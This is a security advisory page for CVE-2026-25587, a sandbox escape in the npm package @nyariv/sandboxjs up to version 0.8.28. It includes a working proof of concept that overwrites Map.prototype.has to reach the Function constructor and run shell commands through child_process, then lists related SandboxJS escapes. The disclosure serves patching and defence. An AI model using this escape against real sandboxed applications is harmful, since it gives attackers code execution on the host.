CVE-2026-25587: @nyariv/sandboxjs has a Sandbox Escape vulnerability
Summary As Map is in SAFEPROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped. Details This is effectively equivalent to CVE-2026-25142, but without lookupGetter (let was used during testing), it turns out the let implementation is bugged: PoC Impact Able to set Map.prototype.has - RCE
Published Feb 5, 2026 · Updated Feb 6, 2026
Affected packages
@nyariv/sandboxjs
- Ecosystem
- npm
- Affected
- <= 0.8.28
- Fixed in
- 0.8.29
- Check
npm ls @nyariv/sandboxjs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.
Details
This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:
let a = Map.prototype;
console.log(a) // undefinedconst a = Map.prototype;
console.log(a) // Object [Map] {}let a = 123;
console.log(a) // 123const a = 123;
console.log(a) // 123PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const m = Map.prototype;
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
sb.compile(payload)().run();Impact
Able to set Map.prototype.has -> RCE
Credited to c0rydoras.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-43898
SandboxJS has a sandbox escape via Function.caller leakage of internal call op
critical10.0May 11, 2026CVE-2026-34208
SandboxJS: Sandbox integrity escape
critical10.0Apr 3, 2026CVE-2026-26954
SandboxJS affected by a Sandbox Escape
critical10.0Mar 13, 2026CVE-2026-25881
@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)
critical9.0Feb 10, 2026CVE-2026-25520
@nyariv/sandboxjs has a Sandbox Escape issue
critical10.0Feb 5, 2026CVE-2026-25586
@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
critical10.0Feb 5, 2026
